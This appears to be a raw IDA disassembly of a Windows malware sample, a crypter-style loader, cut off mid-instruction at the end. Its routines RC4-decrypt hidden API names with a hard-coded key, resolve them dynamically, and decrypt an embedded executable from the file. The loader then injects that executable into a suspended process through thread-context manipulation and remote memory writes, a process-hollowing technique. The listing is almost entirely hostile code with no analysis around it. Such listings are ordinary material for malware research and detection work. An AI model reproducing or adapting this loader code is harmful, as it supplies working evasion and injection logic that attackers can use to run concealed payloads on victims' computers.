; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E319E121F01E9C3A2C93B721D9FDDCFF ; File Name : u:\work\e319e121f01e9c3a2c93b721d9fddcff_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00000E3E ( 3646.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_401000(SIZE_T dwBytes) sub_401000 proc near ; CODE XREF: sub_40102B+12p ; sub_401160+13Ep ... dwBytes = dword ptr 4 push esi push edi push [esp+8+dwBytes] ; dwBytes push 0 ; uFlags call ds:GlobalAlloc ; GlobalAlloc mov ecx, [esp+8+dwBytes] mov esi, ecx mov edx, eax shr ecx, 2 xor eax, eax mov edi, edx rep stosd mov ecx, esi and ecx, 3 rep stosb pop edi mov eax, edx pop esi retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40102B proc near ; CODE XREF: sub_4017D8+38p ; sub_4017D8+66p ... var_110 = byte ptr -110h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 110h mov eax, [ebp+arg_8] lea eax, [eax+eax*4] shl eax, 1 push eax ; dwBytes call sub_401000 test eax, eax pop ecx mov [ebp+var_C], eax jnz short loc_40104C leave retn ; --------------------------------------------------------------------------- loc_40104C: ; CODE XREF: sub_40102B+1Dj xor eax, eax loc_40104E: ; CODE XREF: sub_40102B+30j mov [ebp+eax+var_110], al inc eax cmp eax, 0FFh jle short loc_40104E and [ebp+var_8], 0 and [ebp+var_4], 0 push ebx push esi push edi mov esi, 100h loc_40106D: ; CODE XREF: sub_40102B+94j mov eax, [ebp+arg_0] lea ecx, [eax+1] loc_401073: ; CODE XREF: sub_40102B+4Dj mov dl, [eax] inc eax test dl, dl jnz short loc_401073 sub eax, ecx mov edi, eax mov eax, [ebp+var_4] xor edx, edx div edi mov ecx, [ebp+var_4] mov eax, [ebp+arg_0] lea ecx, [ebp+ecx+var_110] mov bl, [ecx] mov edi, esi movsx edx, byte ptr [edx+eax] add edx, [ebp+var_8] movzx eax, bl add eax, edx cdq idiv edi inc [ebp+var_4] cmp [ebp+var_4], 0FFh lea eax, [ebp+edx+var_110] mov [ebp+var_8], edx mov dl, [eax] mov [ecx], dl mov [eax], bl jle short loc_40106D xor eax, eax cmp [ebp+arg_8], eax mov [ebp+var_8], eax mov [ebp+var_4], eax jle short loc_401133 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] mov [ebp+var_10], eax loc_4010D7: ; CODE XREF: sub_40102B+106j mov eax, [ebp+var_4] cdq mov ecx, esi idiv ecx mov edi, esi lea ecx, [ebp+edx+var_110] mov bl, [ecx] movzx eax, bl add eax, [ebp+var_8] cdq idiv edi lea eax, [ebp+edx+var_110] mov [ebp+var_8], edx mov dl, [eax] mov [ecx], dl mov edx, [ebp+var_C] mov [eax], bl mov eax, [ebp+var_4] lea edi, [eax+edx] movzx eax, byte ptr [ecx] movzx ecx, bl add eax, ecx cdq mov ecx, esi idiv ecx mov ecx, [ebp+var_10] mov al, [ebp+edx+var_110] xor al, [ecx+edi] inc [ebp+var_4] mov [edi], al mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_4010D7 loc_401133: ; CODE XREF: sub_40102B+A1j mov eax, [ebp+var_C] pop edi pop esi pop ebx leave retn sub_40102B endp ; =============== S U B R O U T I N E ======================================= sub_40113B proc near ; CODE XREF: sub_401160+5Cp ; sub_401160+ADp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jle short locret_40115F mov ecx, [esp+arg_0] mov edx, dword_403274 add ecx, edx loc_40114F: ; CODE XREF: sub_40113B+22j mov dl, [ecx+eax] mov byte_4032F8[eax], dl inc eax cmp eax, [esp+arg_4] jl short loc_40114F locret_40115F: ; CODE XREF: sub_40113B+6j retn sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401160 proc near ; CODE XREF: start+53p var_13C = byte ptr -13Ch var_5C = byte ptr -5Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_16 = word ptr -16h var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 13Ch mov eax, dword_403274 push ebx push esi mov esi, dword_40326C add eax, esi mov bl, [eax] mov byte_403290, bl mov cl, [eax+1] push edi mov edi, dword_4312C4 mov byte_4032E8, cl mov al, [eax+2] neg byte_4032E8 sub edi, esi neg bl neg al cmp edi, 40h mov [ebp+var_4], edi mov byte_403290, bl mov byte_403270, al jb loc_40124D push 40h add esi, 3 push esi call sub_40113B pop ecx pop ecx mov byte_403338, 0 xor esi, esi loc_4011CC: ; CODE XREF: sub_401160+82j mov cl, byte_4032E8 lea eax, dword_4032F9[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, 40h jb short loc_4011CC push 10h pop ecx mov esi, offset byte_4032F8 lea edi, [ebp+var_5C] rep movsd mov eax, [ebp+var_20] lea ecx, [eax+18h] cmp [ebp+var_4], ecx jb short loc_40124D mov ecx, dword_40326C add eax, ecx mov [ebp+var_4], eax add eax, 3 push 18h push eax call sub_40113B pop ecx pop ecx mov byte_403310, 0 xor esi, esi loc_40121D: ; CODE XREF: sub_401160+D3j mov cl, byte_4032E8 lea eax, dword_4032F9[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, 18h jb short loc_40121D push 6 pop ecx mov esi, offset byte_4032F8 lea edi, [ebp+var_1C] rep movsd mov esi, 0E0h cmp [ebp+var_8], si jz short loc_401254 loc_40124D: ; CODE XREF: sub_401160+50j ; sub_401160+9Aj xor al, al jmp loc_40132A ; --------------------------------------------------------------------------- loc_401254: ; CODE XREF: sub_401160+EBj mov eax, [ebp+var_4] add eax, 1Bh push esi push eax call sub_40113B pop ecx pop ecx mov byte_4033D8, 0 xor edi, edi loc_40126C: ; CODE XREF: sub_401160+121j mov cl, byte_4032E8 lea eax, dword_4032F9[edi] add [eax-1], bl add [eax], cl inc edi inc edi cmp edi, esi jb short loc_40126C movzx eax, [ebp+var_16] push 38h pop ecx mov esi, offset byte_4032F8 lea edi, [ebp+var_13C] rep movsd lea esi, [eax+eax*4] shl esi, 3 push esi ; dwBytes call sub_401000 mov ecx, [ebp+var_20] mov ebx, eax mov eax, dword_40326C lea eax, [eax+ecx+0FBh] push esi push eax call sub_40113B add esp, 0Ch xor ecx, ecx test esi, esi mov byte_4032F8[esi], 0 jbe short loc_4012E8 loc_4012CB: ; CODE XREF: sub_401160+186j mov dl, byte_403290 lea eax, dword_4032F9[ecx] add [eax-1], dl mov dl, byte_4032E8 add [eax], dl inc ecx inc ecx cmp ecx, esi jb short loc_4012CB loc_4012E8: ; CODE XREF: sub_401160+169j mov ecx, esi mov eax, ecx shr ecx, 2 mov esi, offset byte_4032F8 mov edi, ebx rep movsd mov ecx, eax mov eax, [ebp+arg_C] and ecx, 3 rep movsb mov edi, [ebp+arg_0] push 10h pop ecx push 6 lea esi, [ebp+var_5C] rep movsd mov edi, [ebp+arg_4] pop ecx lea esi, [ebp+var_1C] rep movsd mov edi, [ebp+arg_8] push 38h pop ecx lea esi, [ebp+var_13C] rep movsd mov [eax], ebx mov al, 1 loc_40132A: ; CODE XREF: sub_401160+EFj pop edi pop esi pop ebx leave retn sub_401160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40132F proc near ; CODE XREF: start+75p arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [eax+3Ch] push esi mov esi, [eax+20h] xor edx, edx mov eax, ecx div esi test edx, edx jz short loc_40134C lea ecx, [eax+1] imul ecx, esi loc_40134C: ; CODE XREF: sub_40132F+15j mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401386 push ebx mov ebx, [ebp+arg_C] push edi add ebx, 8 mov [ebp+arg_8], eax loc_401362: ; CODE XREF: sub_40132F+53j mov edi, [ebx] test edi, edi jz short loc_40137C xor edx, edx mov eax, edi div esi test edx, edx jnz short loc_401376 add ecx, edi jmp short loc_40137C ; --------------------------------------------------------------------------- loc_401376: ; CODE XREF: sub_40132F+41j inc eax imul eax, esi add ecx, eax loc_40137C: ; CODE XREF: sub_40132F+37j ; sub_40132F+45j add ebx, 28h dec [ebp+arg_8] jnz short loc_401362 pop edi pop ebx loc_401386: ; CODE XREF: sub_40132F+26j mov eax, ecx pop esi pop ebp retn sub_40132F endp ; =============== S U B R O U T I N E ======================================= sub_40138B proc near ; CODE XREF: sub_4013A5+B4p ; sub_4013A5:loc_4014EBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor edx, edx div [esp+arg_4] test edx, edx jnz short loc_40139E mov eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40139E: ; CODE XREF: sub_40138B+Cj inc eax imul eax, [esp+arg_4] retn sub_40138B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4013A5 proc near ; CODE XREF: start+A8p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx mov eax, dword_403274 push ebx push esi mov esi, dword_40326C add eax, esi mov bl, [eax] mov byte_403290, bl mov cl, [eax+1] mov byte_4032E8, cl mov al, [eax+2] neg byte_4032E8 neg al mov byte_403270, al mov eax, [ebp+arg_C] neg bl mov byte_403290, bl push edi mov edi, [eax+3Ch] mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401407 mov ecx, [ebp+arg_10] add ecx, 14h loc_4013F9: ; CODE XREF: sub_4013A5+60j mov edx, [ecx] cmp edx, edi jnb short loc_401401 mov edi, edx loc_401401: ; CODE XREF: sub_4013A5+58j add ecx, 28h dec eax jnz short loc_4013F9 loc_401407: ; CODE XREF: sub_4013A5+4Cj push edi add esi, 3 push esi call sub_40113B pop ecx xor esi, esi test edi, edi pop ecx mov byte_4032F8[edi], 0 jbe short loc_401437 loc_401420: ; CODE XREF: sub_4013A5+90j mov cl, byte_4032E8 lea eax, dword_4032F9[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, edi jb short loc_401420 loc_401437: ; CODE XREF: sub_4013A5+79j mov ecx, edi mov edi, [ebp+arg_14] mov eax, ecx shr ecx, 2 mov esi, offset byte_4032F8 rep movsd mov ecx, eax mov eax, [ebp+arg_C] and ecx, 3 rep movsb mov ecx, [eax+20h] push ecx push dword ptr [eax+3Ch] call sub_40138B add eax, [ebp+arg_14] and [ebp+var_4], 0 mov [ebp+arg_14], eax mov eax, [ebp+arg_4] add esp, 8 cmp word ptr [eax+6], 0 jbe loc_40150C mov ebx, [ebp+arg_10] add ebx, 8 loc_40147F: ; CODE XREF: sub_4013A5+161j mov esi, [ebx+8] test esi, esi mov eax, [ebx] jbe short loc_4014E5 cmp esi, eax jbe short loc_40148E mov esi, eax loc_40148E: ; CODE XREF: sub_4013A5+E5j mov eax, [ebx+0Ch] mov ecx, dword_40326C lea eax, [eax+ecx+3] push esi push eax call sub_40113B pop ecx xor eax, eax test esi, esi pop ecx mov byte_4032F8[esi], 0 jbe short loc_4014C2 loc_4014B1: ; CODE XREF: sub_4013A5+11Bj mov cl, byte_403270 add byte_4032F8[eax], cl inc eax cmp eax, esi jb short loc_4014B1 loc_4014C2: ; CODE XREF: sub_4013A5+10Aj mov edi, [ebp+arg_14] mov ecx, esi mov eax, ecx shr ecx, 2 mov esi, offset byte_4032F8 rep movsd mov ecx, eax mov eax, [ebp+arg_C] and ecx, 3 rep movsb mov ecx, [eax+20h] push ecx push dword ptr [ebx] jmp short loc_4014EB ; --------------------------------------------------------------------------- loc_4014E5: ; CODE XREF: sub_4013A5+E1j test eax, eax jz short loc_4014F6 push ecx push eax loc_4014EB: ; CODE XREF: sub_4013A5+13Ej call sub_40138B add esp, 8 add [ebp+arg_14], eax loc_4014F6: ; CODE XREF: sub_4013A5+142j mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] inc [ebp+var_4] add ebx, 28h cmp [ebp+var_4], eax jl loc_40147F loc_40150C: ; CODE XREF: sub_4013A5+CEj pop edi pop esi mov al, 1 pop ebx leave retn sub_4013A5 endp ; =============== S U B R O U T I N E ======================================= sub_401513 proc near ; CODE XREF: sub_401656+C7p arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov ecx, [esp+arg_8] mov eax, [ecx+88h] test eax, eax jz short locret_401582 cmp dword ptr [ecx+8Ch], 0 jz short locret_401582 mov edx, [esp+arg_10] push esi mov esi, [esp+4+arg_14] sub esi, [ecx+1Ch] add eax, edx cmp dword ptr [eax+4], 0 jz short loc_401581 push ebx push edi loc_401540: ; CODE XREF: sub_401513+6Aj mov ecx, [eax+4] sub ecx, 8 shr ecx, 1 test ecx, ecx lea edi, [eax+8] jle short loc_401577 mov ebx, ecx loc_401551: ; CODE XREF: sub_401513+62j xor edx, edx mov dx, [edi] mov ecx, edx and ecx, 0FFFh add ecx, [esp+0Ch+arg_10] and dx, 0F000h add ecx, [eax] cmp dx, 3000h jnz short loc_401572 add [ecx], esi loc_401572: ; CODE XREF: sub_401513+5Bj inc edi inc edi dec ebx jnz short loc_401551 loc_401577: ; CODE XREF: sub_401513+3Aj cmp dword ptr [edi+4], 0 mov eax, edi jnz short loc_401540 pop edi pop ebx loc_401581: ; CODE XREF: sub_401513+29j pop esi locret_401582: ; CODE XREF: sub_401513+Cj ; sub_401513+15j retn sub_401513 endp ; =============== S U B R O U T I N E ======================================= sub_401583 proc near ; CODE XREF: sub_40159B+81p arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] push offset dword_4032A4 push [esp+8+arg_8] push [esp+0Ch+arg_4] call dword_4312A0 retn sub_401583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40159B proc near ; CODE XREF: start+C5p var_48 = dword ptr -48h var_44 = byte ptr -44h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 48h push esi mov esi, [ebp+arg_4] push edi push 10h pop ecx xor edx, edx push esi xor eax, eax mov [ebp+var_48], edx lea edi, [ebp+var_44] rep stosd lea eax, [ebp+var_48] push eax push edx push edx push 4 push edx push edx push edx push [ebp+arg_0] push edx call dword_4312AC test eax, eax jz short loc_401633 mov edi, [ebp+arg_C] push ebx push edi mov dword ptr [edi], 10007h push dword ptr [esi+4] call dword_4032D8 mov ebx, [ebp+arg_10] lea eax, [ebp+var_4] push eax mov eax, [edi+0A4h] push 4 push ebx add eax, 8 push eax push dword ptr [esi] call dword_40328C mov edi, [ebx] jmp short loc_401615 ; --------------------------------------------------------------------------- loc_401603: ; CODE XREF: sub_40159B+8Bj cmp dword_4032B4, 10000h jz short loc_401628 add edi, dword_4032B0 loc_401615: ; CODE XREF: sub_40159B+66j push 1Ch push edi push dword ptr [esi] push 0 call sub_401583 add esp, 10h test eax, eax jnz short loc_401603 loc_401628: ; CODE XREF: sub_40159B+72j sub edi, [ebx] xor eax, eax mov [ebx+4], edi inc eax pop ebx jmp short loc_401635 ; --------------------------------------------------------------------------- loc_401633: ; CODE XREF: sub_40159B+32j xor eax, eax loc_401635: ; CODE XREF: sub_40159B+96j pop edi pop esi leave retn sub_40159B endp ; =============== S U B R O U T I N E ======================================= sub_401639 proc near ; CODE XREF: sub_401656+90p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp dword ptr [eax+88h], 0 jz short loc_401653 cmp dword ptr [eax+8Ch], 0 jz short loc_401653 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_401653: ; CODE XREF: sub_401639+Bj ; sub_401639+14j xor eax, eax retn sub_401639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401656 proc near ; CODE XREF: start+117p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_30 = dword ptr 38h arg_D4 = dword ptr 0DCh arg_E0 = dword ptr 0E8h arg_2FC = dword ptr 304h arg_300 = dword ptr 308h push ebp mov ebp, esp mov eax, [ebp+arg_C] push ebx push esi push edi mov edi, [ebp+arg_2FC] cmp [eax+1Ch], edi mov esi, 3000h jnz short loc_401697 mov eax, [ebp+arg_300] cmp [ebp+arg_18], eax ja short loc_401697 mov ebx, [ebp+arg_20] lea ecx, [ebp+arg_300] push ecx push 40h push eax push edi push ebx mov dword_4312C8, edi call dword_4312B4 jmp short loc_4016DA ; --------------------------------------------------------------------------- loc_401697: ; CODE XREF: sub_401656+17j ; sub_401656+22j mov ebx, [ebp+arg_20] push edi push ebx mov dword_4032DC, ebx mov dword_4312A4, edi call dword_403288 test eax, eax jnz short loc_4016B9 mov byte ptr [ebp+arg_300+3], 1 loc_4016B9: ; CODE XREF: sub_401656+5Aj cmp byte ptr [ebp+arg_300+3], 1 jnz short loc_4016DA mov eax, [ebp+arg_C] push 40h push esi push [ebp+arg_18] push dword ptr [eax+1Ch] push ebx call dword_40327C mov dword_4312C8, eax loc_4016DA: ; CODE XREF: sub_401656+3Fj ; sub_401656+6Aj cmp dword_4312C8, 0 jnz short loc_401735 push [ebp+arg_C] call sub_401639 add esp, 4 test eax, eax jz short loc_40172E push 40h push esi push [ebp+arg_18] push 0 push ebx call dword_40327C test eax, eax mov dword_4312C8, eax jz short loc_40172E mov esi, [ebp+arg_C] push 0 push eax push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_4] push [ebp+arg_0] call sub_401513 add esp, 1Ch cmp dword_4312C8, 0 jnz short loc_401738 loc_40172E: ; CODE XREF: sub_401656+9Aj ; sub_401656+B2j xor eax, eax loc_401730: ; CODE XREF: sub_401656+154j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_401735: ; CODE XREF: sub_401656+8Bj mov esi, [ebp+arg_C] loc_401738: ; CODE XREF: sub_401656+D6j mov eax, [ebp+arg_D4] push 0 push 4 push offset dword_4312C8 add eax, 8 push eax push ebx call dword_4032E4 mov eax, [ebp+arg_0] mov eax, [eax+3Ch] mov ecx, dword_4312C8 mov edx, [ebp+arg_14] mov [eax+edx+34h], ecx mov eax, dword_4312C8 cmp eax, edi mov [ebp+arg_30], 10007h jnz short loc_401783 mov eax, [esi+10h] add eax, [esi+1Ch] mov [ebp+arg_E0], eax jmp short loc_40178E ; --------------------------------------------------------------------------- loc_401783: ; CODE XREF: sub_401656+11Dj mov ecx, [esi+10h] add ecx, eax mov [ebp+arg_E0], ecx loc_40178E: ; CODE XREF: sub_401656+12Bj mov eax, [ebp+arg_24] lea ecx, [ebp+arg_30] push ecx push eax mov dword_4312B8, ebx mov dword_403294, eax call dword_4032EC xor eax, eax inc eax jmp short loc_401730 sub_401656 endp ; =============== S U B R O U T I N E ======================================= sub_4017AC proc near ; CODE XREF: start+14Cp push dword_403294 mov byte_4312BC, 1 call dword_403278 retn sub_4017AC endp ; =============== S U B R O U T I N E ======================================= sub_4017C0 proc near ; CODE XREF: sub_401BF5+5Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, dword_40326C inc eax push eax ; dwBytes call sub_401000 pop ecx mov dword_4312A8, eax retn sub_4017C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017D8 proc near ; CODE XREF: start+11p var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 7 pop ecx xor eax, eax mov [ebp+var_2C], 0 lea edi, [ebp+var_2B] rep stosd stosw stosb lea eax, [ebp+var_4] push eax push 13h xor ebx, ebx push offset dword_403000 mov esi, offset aKqowdsv3t35s ; "kqowdsv3t35s" inc ebx push esi mov [ebp+var_8], 1Fh mov [ebp+var_C], ebx call sub_40102B add esp, 0Ch push eax push 80000001h call dword_4032D4 test eax, eax jnz short loc_401870 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax push 0 push 10h push offset aEKtckeQeb@@3i ; "`KkQb@@3I" push esi call sub_40102B add esp, 0Ch push eax push [ebp+var_4] call dword_4312C0 test eax, eax jnz short loc_401867 push 2 mov edi, offset dword_402014 lea esi, [ebp+var_2C] pop ecx xor eax, eax repe cmpsb jnz short loc_401867 xor bl, bl loc_401867: ; CODE XREF: sub_4017D8+7Aj ; sub_4017D8+8Bj push [ebp+var_4] call dword_403280 loc_401870: ; CODE XREF: sub_4017D8+4Ej pop edi pop esi mov al, bl pop ebx leave retn sub_4017D8 endp ; =============== S U B R O U T I N E ======================================= sub_401877 proc near ; CODE XREF: start+Cp hModule = dword ptr -4 push ecx push ebx push ebp push esi push edi push 9 push offset aCWZ ; "cWz" mov esi, offset aKqowdsv3t35s ; "kqowdsv3t35s" push esi call sub_40102B mov edi, ds:LoadLibraryA add esp, 0Ch push eax ; lpLibFileName call edi ; LoadLibraryA push 0Ch push offset aRiuFFswZ ; "rUʔ-wz" push esi mov ebp, eax call sub_40102B add esp, 0Ch push eax ; lpLibFileName call edi ; LoadLibraryA push 0Ch push offset dword_403118 push esi mov ebx, eax call sub_40102B add esp, 0Ch push eax ; lpLibFileName call edi ; LoadLibraryA push 11h push offset aDcXXndGtai_c ; "cxn`TAI;_C" push esi mov [esp+20h+hModule], eax call sub_40102B mov edi, ds:GetProcAddress add esp, 0Ch push eax ; lpProcName push ebp ; hModule call edi ; GetProcAddress push 0Eh push offset dword_403024 push esi mov dword_4032C0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 12h push offset aBeOIlVgeyj0uc ; "eOʨlveyJ0UC" push esi mov dword_40327C, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Bh push offset dword_403240 push esi mov dword_4032E4, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push [esp+18h+hModule] ; hModule call edi ; GetProcAddress push 14h push offset dword_403048 push esi mov dword_403280, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebp ; hModule call edi ; GetProcAddress push 0Eh push offset aXeZAndPxegn ; "eZNpeGn" push esi mov dword_403288, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Ch push offset aDrinAjVsr ; "rNJvr" push esi mov dword_4312AC, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Ch push offset dword_403014 push esi mov dword_403278, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Bh push offset aXeZAxV ; "eZXv" push esi mov dword_4032D0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 10h push offset aErooKPqx@jN ; "roNJ{Px@J%N" push esi mov dword_4032A0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 1Eh push offset dword_4031D4 push esi mov dword_4032EC, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebp ; hModule call edi ; GetProcAddress push 8 push offset aDr_ssr ; "r_r" push esi mov dword_40329C, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 10h push offset aSrooKPqx@jN ; "roNJ{Px@J%N" push esi mov dword_4032E0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 10h push offset aDrJAlpsrCqj ; "rjڝlrcQj%{" push esi mov dword_4032D8, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push [esp+18h+hModule] ; hModule call edi ; GetProcAddress push 11h push offset dword_4030A0 push esi mov dword_4312C0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Eh push offset aAIoSrzVvoqw ; "~OڙrvoqW" push esi mov dword_40328C, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 12h push offset aSrovKUszqaWts ; "rvkUzQa<WT" push esi mov dword_4312A0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Bh push offset aDrTApaJ ; "rtߝpj" push esi mov dword_4032F0, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push [esp+18h+hModule] ; hModule call edi ; GetProcAddress push 10h push offset dword_4030C8 push esi mov dword_4032D4, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 0Bh push offset aSroFEIx ; "r}Ɣ{i" push esi mov dword_4312B4, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebx ; hModule call edi ; GetProcAddress push 13h push offset dword_4031A8 push esi mov dword_403298, eax call sub_40102B add esp, 0Ch push eax ; lpProcName push ebp ; hModule call edi ; GetProcAddress xor ecx, ecx cmp dword_4032D0, ecx mov dword_4032C4, eax jz loc_401BA2 cmp dword_40327C, ecx jz loc_401BA2 cmp dword_4312B4, ecx jz loc_401BA2 cmp dword_403288, ecx jz loc_401BA2 cmp dword_4032E4, ecx jz loc_401BA2 cmp dword_4032EC, ecx jz short loc_401BA2 cmp dword_403278, ecx jz short loc_401BA2 cmp dword_4032A0, ecx jz short loc_401BA2 cmp dword_403298, ecx jz short loc_401BA2 cmp dword_4032E0, ecx jz short loc_401BA2 cmp dword_4312AC, ecx jz short loc_401BA2 cmp dword_4032D8, ecx jz short loc_401BA2 cmp dword_40328C, ecx jz short loc_401BA2 cmp dword_4312A0, ecx jz short loc_401BA2 cmp dword_4032F0, ecx jz short loc_401BA2 cmp dword_4032D4, ecx jz short loc_401BA2 cmp dword_4312C0, ecx jz short loc_401BA2 cmp dword_403280, ecx jz short loc_401BA2 cmp dword_4032C0, ecx jz short loc_401BA2 cmp eax, ecx jz short loc_401BA2 cmp dword_40329C, ecx jz short loc_401BA2 mov al, 1 jmp short loc_401BAB ; --------------------------------------------------------------------------- loc_401BA2: ; CODE XREF: sub_401877+275j ; sub_401877+281j ... push ebx ; hLibModule call ds:FreeLibrary ; FreeLibrary xor al, al loc_401BAB: ; CODE XREF: sub_401877+329j pop edi pop esi pop ebp pop ebx pop ecx retn sub_401877 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BB1 proc near ; CODE XREF: sub_401BF5+CBp var_8 = byte ptr -8 var_4 = byte ptr -4 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_C] imul esi, 64h push edi inc esi push esi ; dwBytes call sub_401000 mov edi, eax test edi, edi pop ecx jz short loc_401BF1 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push 2 call dword_40329C push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push esi push edi push 2 call dword_4032C4 mov eax, edi loc_401BF1: ; CODE XREF: sub_401BB1+19j pop edi pop esi leave retn sub_401BB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BF5 proc near ; CODE XREF: start+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx push ebx push 80h push 3 push ebx push 1 push 80000000h push [ebp+arg_4] call dword_4032A0 push ebx push eax mov dword_403284, eax call dword_403298 mov dword_4312C4, eax inc eax push eax ; dwBytes call sub_401000 pop ecx push ebx lea ecx, [ebp+var_4] push ecx push dword_4312C4 mov dword_403274, eax push eax push dword_403284 call dword_4032E0 push [ebp+var_4] call sub_4017C0 mov edx, [ebp+var_4] mov eax, dword_40326C pop ecx xor ecx, ecx sub edx, eax jz short loc_401C87 loc_401C64: ; CODE XREF: sub_401BF5+90j mov edx, dword_403274 add eax, edx mov al, [eax+ecx] mov edx, dword_4312A8 mov [edx+ecx], al mov edx, [ebp+var_4] mov eax, dword_40326C inc ecx sub edx, eax cmp ecx, edx jb short loc_401C64 loc_401C87: ; CODE XREF: sub_401BF5+6Dj mov ecx, dword_4312A8 sub ecx, eax mov eax, [ebp+var_4] mov [ecx+eax], bl mov eax, 